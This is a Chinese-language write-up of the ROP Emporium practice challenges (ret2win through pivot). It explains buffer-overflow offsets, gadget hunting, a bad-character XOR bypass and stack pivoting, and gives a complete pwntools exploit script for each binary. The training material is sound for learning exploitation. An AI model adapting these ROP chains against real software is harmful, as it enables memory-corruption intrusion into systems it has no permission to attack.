ROP Emporium writeup

  • ret2win
    checksec一下
    gdb调试一下测算溢出长度
    丢进ida发现ret2win函数
    编写exp即可打通得到ROPE{a_placeholder_32byte_flag!}:
from pwn import *

io=process('./ret2win')
payload=cyclic(0x28)+p64(0x400756)
io.recv()
io.sendline(payload)
io.interactive()



  • split
    checksec与上题同,64位小端序;
    gdb测出溢出长度为0x20+0x8
    本题无直接可利用函数,考虑构造,由于存在system()函数,所以只需要/bin/cat flag.txt 作为参数传入函数,本题为64位程序,则需考虑64位传参问题,x64中的前六个参数依次保存在RDI,RSI,RDX,RCX,R8和 R9中,则需要pop rdi ; ret;
    使用ROPgadget --binary split --only "pop|ret"查找所需gadgets
    编写exp即可打通得到ROPE{a_placeholder_32byte_flag!}:
from pwn import *

elf=ELF('./split')
io=process('./split')
bin_addr=next(elf.search(b'/bin/cat flag.txt'))
sys_addr=elf.plt["system"]
rdi_addr=0x4007c3
payload=cyclic(0x28)+p64(rdi_addr)+p64(bin_addr)+p64(sys_addr)
io.recv()
io.sendline(payload)
io.interactive()



  • callme
    这道题保护措施同上,但是根据这道题的注意事项需要按顺序分别调用3个函数,且需要填入指定参数
    则根据64位程序传参,前六个参数是按从左到右顺序传入寄存器,后面的按照从右到左的顺序压入栈中,则此题传参时call_xxx函数从左到右即可
    测出溢出长度0x28,同理寻找gadget,分别是pop_rdi_retpop_rsi_rdx_ret,然后压入对应3个参数
    编写exp最开始出错

    调试一波发现是expflat()里面的参数0x***前加了b''使用了强制类型转换,而flat本身最后就是转换为bytes,则不需要加b'',完整exp如下
from pwn import *

context.log_level = 'debug'
context.arch='amd64'
context.os='linux'
context.terminal = ['tmux','splitw','-h']

elf=ELF("./callme")
io=process("./callme")
rdi_ret_addr=0x4009a3
rsi_rdx_ret_addr=0x40093d
call1_addr=elf.symbols["callme_one"]
call2_addr=elf.symbols["callme_two"]
call3_addr=elf.symbols["callme_three"]
#1
payload=cyclic(0x28)+flat(rdi_ret_addr,0xdeadbeefdeadbeef,rsi_rdx_ret_addr,0xcafebabecafebabe,0xd00df00dd00df00d,call1_addr)
#2
payload += flat(rdi_ret_addr,0xdeadbeefdeadbeef,rsi_rdx_ret_addr,0xcafebabecafebabe,0xd00df00dd00df00d,call2_addr)
#3
payload += flat(rdi_ret_addr,0xdeadbeefdeadbeef,rsi_rdx_ret_addr,0xcafebabecafebabe,0xd00df00dd00df00d,call3_addr)
#本地环境问题需加上ret_addr
# ret_addr=0x4006be
# payload += p64(ret_addr) //更换环境后不需要加上ret_addr了
io.recvuntil(b'>')
io.sendline(payload)
# gdb.attach(io)
# pause()
io.interactive()



  • write4
    此题保护措施同上,在ida里面发现没有常见的system()/bin/sh,但是却有一个printf_file函数,本题提供的libc.so文件中含有system函数,但需要自行构建参数,vmmap查看可写段

    在ida中也可以找到.bss段,对应vmmap中地址可知此处可写

    那么向该段写入需要gadgets,ROPgadget找一下
# Gadgets information
# ============================================================
# 0x00000000004005e2 : mov byte ptr [rip + 0x200a4f], 1 ; pop rbp ; ret
# 0x0000000000400629 : mov dword ptr [rsi], edi ; ret
# 0x0000000000400610 : mov eax, 0 ; pop rbp ; ret
# 0x0000000000400628 : mov qword ptr [r14], r15 ; ret
# 0x000000000040068c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040068e : pop r13 ; pop r14 ; pop r15 ; ret
# 0x0000000000400690 : pop r14 ; pop r15 ; ret
# 0x0000000000400692 : pop r15 ; ret
# 0x000000000040068b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040068f : pop rbp ; pop r14 ; pop r15 ; ret
# 0x0000000000400588 : pop rbp ; ret
# 0x0000000000400693 : pop rdi ; ret
# 0x0000000000400691 : pop rsi ; pop r15 ; ret
# 0x000000000040068d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x00000000004004e6 : ret

发现可用的,r14存bss段地址,r15存"flag.txt"字符串,接着将r15内容写入r14指向的地址
pop r14 ; pop r15 ; ret
mov qword ptr [r14], r15 ; ret
接着按顺序组装gadgets
其中详细调用如图

第一个ret将pop_r14_r15,此时栈顶更新位bss段地址
则编写exp如下

from pwn import *
context.log_level='debug'
context.os='linux'
context.arch='amd64'
context.terminal=['tmux','splitw','-h']

elf=ELF("./write4")
io=process("./write4")

func_addr=elf.symbols[b"print_file"]
bss_addr=0x601038
ret_addr=0x4004e6
pop_rdi_addr=0x400693
mov_r14_r15_addr=0x400628
pop_r14_r15_addr=0x400690
payload=cyclic(0x28)+p64(pop_r14_r15_addr)+p64(bss_addr)+b"flag.txt"+p64(mov_r14_r15_addr)

payload+=p64(pop_rdi_addr)+p64(bss_addr)+p64(func_addr)
io.recv()
gdb.attach(io)
pause()
io.sendline(payload)
io.interactive()



  • badchars
    此题给出print_file函数可以打印出文件内容,则只需传入flag.txt即可,而我们则需要像上一题一样将flag.txt写入bss段
    此题给出libc.so,其中包含的pwnme函数中存在函数能替换字符'x','g','a','.',

    为了绕过badchars,我们考虑使用异或后不含关键字的字符串输入,当作参数先写入bss段,再异或一遍得到原字符串
    可以写个小脚本判断
#include<bits/stdc++.h>
using namespace std;
char a[100];
int lg;
signed main()
{
    gets(a);
    lg=strlen(a);
    for(int j=1;j<=9;j++)
    {
        for(int i=0;i<lg;i++)
        {
            cout<<char(int(a[i])^j);
        }
        cout<<endl;
    }
    return 0;
}

得出可用字符串

我们选择异或9之后的字符串'oehn'}q}'
故exp:

from pwn import *
context(log_level='debug',os='linux',arch='amd64',terminal=['tmux','splitw','-h'])

io=process("./badchars")
st=b"oehn'}q}" #flag.txt ^9
bss_addr=0x601038
mov_r13_r12=0x400634
pop_r12_r13_jk_jk=0x40069c
pop_r14_r15=0x4006a0
xor_r15_r14=0x400628
pop_rdi=0x4006a3
func_addr=0x400510
#edit
gdb.attach(io)
pause()
payload=cyclic(0x28)+p64(pop_r12_r13_jk_jk)+st+p64(bss_addr)+p64(0)+p64(0)+p64(mov_r13_r12) #jk junk
#decode
for i in range(0,len(st)):
    payload+=p64(pop_r14_r15)
    payload+=p64(9)
    payload+=p64(bss_addr+i)
    payload+=p64(xor_r15_r14)
payload+=p64(pop_rdi)+p64(bss_addr)+p64(func_addr)
io.recvuntil(b">")
io.sendline(payload)
io.interactive()

# Gadgets information
# ============================================================
# 0x00000000004005e2 : mov byte ptr [rip + 0x200a4f], 1 ; pop rbp ; ret
# 0x0000000000400635 : mov dword ptr [rbp], esp ; ret
# 0x0000000000400610 : mov eax, 0 ; pop rbp ; ret
# 0x0000000000400634 : mov qword ptr [r13], r12 ; ret
# 0x000000000040069c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040069e : pop r13 ; pop r14 ; pop r15 ; ret
# 0x00000000004006a0 : pop r14 ; pop r15 ; ret
# 0x00000000004006a2 : pop r15 ; ret
# 0x000000000040069b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040069f : pop rbp ; pop r14 ; pop r15 ; ret
# 0x0000000000400588 : pop rbp ; ret
# 0x00000000004006a3 : pop rdi ; ret
# 0x00000000004006a1 : pop rsi ; pop r15 ; ret
# 0x000000000040069d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x00000000004004ee : ret
# 0x0000000000400293 : ret 0xb2ec
# 0x0000000000400628 : xor byte ptr [r15], r14b ; ret
# 0x0000000000400629 : xor byte ptr [rdi], dh ; ret

# Unique gadgets found: 18

可以打通


  • fluff
    此题64位,与此前题类似,不过此题gadgets凑不出任意地址写

    于是看本题提示

    找到对应三个没有见过的汇编指令,经查询可以理解如下:
xlat	mov al,[al+bx]  #al rax低8位
bextr rbx,rcx,rdx 	如下:
bextr output, 0xd23aacda, 0x59
Input : 11010010001110101010110011011010 = 0xd23aacda
                          |-------|
                              \
                               \
                                \
                                 v
                               |-------|
Output: 00000000000000000000000101100110 = 0x00000166


所需的位块进入输出的最低有效位,输出的其余位变为 0。
stosb	  mov [rdi],al

于是我们可以考虑控制rbx,将rbx+al地址所指的值,即[bx+al]变为我们所需的flag.txt字符串,赋值给rax之后,再通过stosb将rax低8位al写入地址rdi中,即可写的bss段,最后传参即可
不过此题需注意溢出ret后rax值为0xb,需减去,此后除最后一次的每一次都需将前一次rax的值减去,以确保rax能够被正确赋值,另外注意rcx每次有加上0x3ef2,需减去此值

寻找所需字符我们可以前往IDA View-A中将数据转换为data寻找(按d键转换,如:

故编写exp:

from pwn import *
from string import *
context(log_level='debug',os='linux',arch='amd64',terminal=['tmux','splitw','-h'])

io=process("./fluff")

flag_addr=[0x4003C4,0x4003C5,0x4003D6,0X4003CF,0x4003FD,0x4003D8,0x400246,0x4003D8] #flag.txt
flag=b"flag.txt"
pop_rdi_ret=0x4006a3
xlat_addr=0x400628  #mov al,[al+rbx]   al rax低8位
pop_rdx_pop_rcx_add_rcx_bextr_addr=0x40062A  #mov rbx,rcx,rdx
stosb_addr=0x400639  #mov [rdi],al
func_addr=0x400510
bss_addr=0x601038
payload=cyclic(0x28)
for i in range(0,8):
    payload+=p64(pop_rdx_pop_rcx_add_rcx_bextr_addr)
    payload+=p64(0x2000)  #0x20 8位16进制数占4字节,4bytes=32bits
    if i==0:
        payload+=p64(flag_addr[i]-0x3EF2-0xb)
    else:
        payload+=p64(flag_addr[i]-0x3EF2-int(flag[i-1]))
    payload+=p64(xlat_addr)
    payload+=p64(pop_rdi_ret)
    payload+=p64(bss_addr+i)
    payload+=p64(stosb_addr)

payload+=p64(pop_rdi_ret)+p64(bss_addr)+p64(func_addr)

gdb.attach(io)
pause()

io.sendline(payload)
io.interactive()



  • pivot
    此题64位开启nx保护
    ida反编译过后发现发生溢出的为第二次输入,但是溢出后可用长度仅为0x18(0x40-0x28

    根据本题提示需要进行栈迁移

    而一开始程序就输出了迁移的地址

    而usefulgadgets里面提供的xhcg指令

    该指令可以交换寄存器的值,于是我们可以先将提示要迁移的地址写入rax,然后再交换rax和rsp的值,之后ret时相当于pop rip,根据题目猜测此时进行栈迁移
    栈迁移后有如此长度我们便可以不受长度限制地编写payload了

    此题给出libpivot.so文件,并且主程序中反编译没有ret2win函数,要先从程序中调用foothold_function之后,泄露函数在内存中真实地址,然后再通过.so文件中两函数之间的偏移量计算,进而调用ret2win函数,剩下的gadgets组装就是典型的ret2libc类型,不过提供的gadgets让payload简化了许多
    exp如下:
from pwn import *

io=process("./pivot")
elf=ELF("./pivot")

func_plt=elf.plt[b"foothold_function"]
func_got=elf.got[b"foothold_function"]
mov_rax_prax=0x4009c0
pop_rax_ret=0x4009bb
pop_rbp_ret=0x4007c8
add_rax_rbp=0x4009C4
xhcg_rax_rsp=0x4009BD
call_rax=0x4006b0
offset=0x117  #offset

io.recvuntil(b"pivot: ")
heap_addr=int(io.recv(14),16) 

print("addr "+hex(heap_addr))

payload2=cyclic(0x28)+p64(pop_rax_ret)+p64(heap_addr)+p64(xhcg_rax_rsp)


payload1=p64(func_plt)+p64(pop_rax_ret)+p64(func_got)+p64(mov_rax_prax)+p64(pop_rbp_ret)+p64(offset)+p64(add_rax_rbp)+p64(call_rax)

io.recvuntil(b"> ")
io.sendline(payload1)

io.recvuntil(b"> ")
io.sendline(payload2)

io.interactive()




# 0x00000000004009BB 58                            pop     rax
# 0x00000000004009BC C3                            retn
# 0x00000000004009BC
# 0x00000000004009BD 48 94                         xchg    rax, rsp
# 0x00000000004009BF C3                            retn
# 0x00000000004009BF
# 0x00000000004009C0 48 8B 00                      mov     rax, [rax]
# 0x00000000004009C3 C3                            retn
# 0x00000000004009C3
# 0x00000000004009C4 48 01 E8                      add     rax, rbp
# 0x00000000004009C7 C3                            retn
# 0x00000000004006b0 : call rax
# 0x0000000000400822 : mov byte ptr [rip + 0x20084f], 1 ; pop rbp ; ret
# 0x00000000004009c1 : mov eax, dword ptr [rax] ; ret
# 0x00000000004009c0 : mov rax, qword ptr [rax] ; ret
# 0x0000000000400a2c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x0000000000400a2e : pop r13 ; pop r14 ; pop r15 ; ret
# 0x0000000000400a30 : pop r14 ; pop r15 ; ret
# 0x0000000000400a32 : pop r15 ; ret
# 0x00000000004009bb : pop rax ; ret
# 0x0000000000400a2b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x0000000000400a2f : pop rbp ; pop r14 ; pop r15 ; ret
# 0x00000000004007c8 : pop rbp ; ret
# 0x0000000000400a33 : pop rdi ; ret
# 0x0000000000400a31 : pop rsi ; pop r15 ; ret
# 0x0000000000400a2d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x00000000004006b6 : ret